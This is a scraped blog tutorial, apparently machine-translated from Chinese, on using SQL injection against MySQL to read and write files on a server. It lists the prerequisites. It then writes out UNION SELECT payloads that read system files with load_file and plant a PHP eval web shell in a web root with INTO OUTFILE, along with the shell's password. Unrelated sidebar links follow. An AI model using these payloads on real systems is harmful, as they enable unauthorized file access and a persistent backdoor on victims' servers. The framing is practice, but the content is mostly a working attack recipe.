当前位置:网站首页>Using SQL injection vulnerability to practice reading and writing files
Using SQL injection vulnerability to practice reading and writing files
2022-07-20 11:05:00 【Chang Jiazhuang】
Prerequisites
- The database needs to be opened secure_file_priv Will be secure_file_priv The value of is empty , It is not allowed to write if it is not empty webshell ( Not on by default , Need modification mysql The configuration file mysql.ini Or call it my.ini The configuration file )
- Need to know the remote directory
- The remote directory needs to have write permission
- need mysql root jurisdiction
Turn on secure_file_priv Parameters , Operation diagram :
Read the file
To read a file, you must know , File path , If you don't know, look for the address of the published middleware configuration file
union select 1,load_file(' File path ') -- bbq
For example, read the virtual machine boot.ini file :
union select 1,load_file('c:\\boot.ini') -- bbq
Operation diagram :
write file
Usually it's a pony like a kitchen knife , Then connect with a kitchen knife
union select " Trojan statement ",2 into outfile " Upload server file path " -- bbq
for example : I write a kitchen knife and a sentence, pony file To C:\phpStudy\WWW\123.php Under the table of contents
union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php" -- bbq
Operation diagram :
<?php @eval($_POST['123']);?> Kitchen knife one sentence password 123边栏推荐
猜你喜欢
随机推荐
Use tasks and random functions to write excitation test files during FPGA simulation
【云原生小子怒闯iVX平台九重天】1:实战iVX-0代码编程体验之项目创建
ROS海龟跟随(坐标变换)
FPGA uses MATLAB to generate MIF files of four waveforms
MySQL手动注入步骤
在CDH6.3中单独升级Impala到Apache Impala 3.4
Impala-shell相关源码笔记
Lifecycle of impala metadata cache
微信小程序的(防抖,节流),解决用户一直下拉刷新请求或一直点击按钮提交信息等;获取列表信息,实现刷新数据功能
浅谈Break和continue语句的区别
How to search issue in Apache JIRA
Kubernetes technology and Architecture (III)
How to participate in discussions in impala community
Summary of important knowledge points of management
6day
Assimp库中文文档
FPGA data receiving and sending and data loopback experiment based on serial port RS232
7day
动态调整Impala日志级别
2day